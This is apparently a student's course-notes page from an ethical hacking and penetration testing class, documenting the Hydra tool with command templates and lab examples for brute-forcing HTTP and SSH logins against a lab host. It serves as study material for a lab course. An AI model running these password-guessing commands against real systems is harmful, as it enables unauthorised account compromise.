SEC-335: Eth. Hacking & Pen. Testing
HomeTech JournalsPersonal ProjectsSysadmin Wiki
  • SEC-335: Eth. Hacking & Pen. Testing
  • Breakdown
    • Course Overview
  • Activities/Assignments
    • Assignment 1.2: The Kali Virtual Machine
    • Activity 2.1: Host Discovery
    • Activity 3.1: DNS Enumeration
    • Activity 4.1: Exploiting Cupcake
    • Assignment 5.1: Breaking into Kali
  • Labs
    • Lab 2.1: Port Scanning 1
    • Lab 2.2: Port Scanning 2
    • Lab 3.1: Powershell and DNS
    • Lab 3.2: DNS uses TCP and UDP
    • Lab 5.1: Password Guessing
    • Lab 6.1: Cracking Linux Passwords with JtR and Hashcat
    • Lab 7.1: Exploiting pippin.shire.org (10.0.5.25)
    • Lab 8.1: Weevely
    • Lab 8.2: Reverse Shell
    • Lab 9.1: Exploit Gloin
    • Lab 10.1: Linux - Permission Vulnerabilities
    • Lab 10.2: Exploiting nancurunir
    • Lab 11.1: Metasploit
    • Final: Bree
  • Tools/Recon
    • Metasploit
    • NMAP
    • Active/Passive Reconnaissance
    • Shodan
    • The Harvester
    • Netcraft
    • Metagoofil
    • DNS-Enumeration
    • CEWL
    • rsmangler
    • Hydra
    • DIRB
    • John the Ripper
    • Hashcat
    • Passwords
    • TMP
Powered by GitBook
On this page
  • Usage:
  • Flags:
  1. Tools/Recon

Hydra

Usage:

HTTP:

Template:

hydra -l <username> -P <wordlist> -s <port> -f <ip> http-get /<page>/

EX:

hydra -l frodo -P frodo.mangled.txt -s 80 -f 10.0.5.21 http-get /admin/

SSH:

Template:

hydra -l <username> -P <wordlist> <ip> -t <intensity> ssh

EX:

hydra -l frodo -P frodo.mangled.txt 10.0.5.21 -t 4 ssh

Flags:

  • -l | login/username

  • -P | File for wordlist

  • -s | Port

  • -f | Exit after the first found login/password pair

  • -t | Run TASKS number of connects in parallel

PreviousrsmanglerNextDIRB

Last updated 2 years ago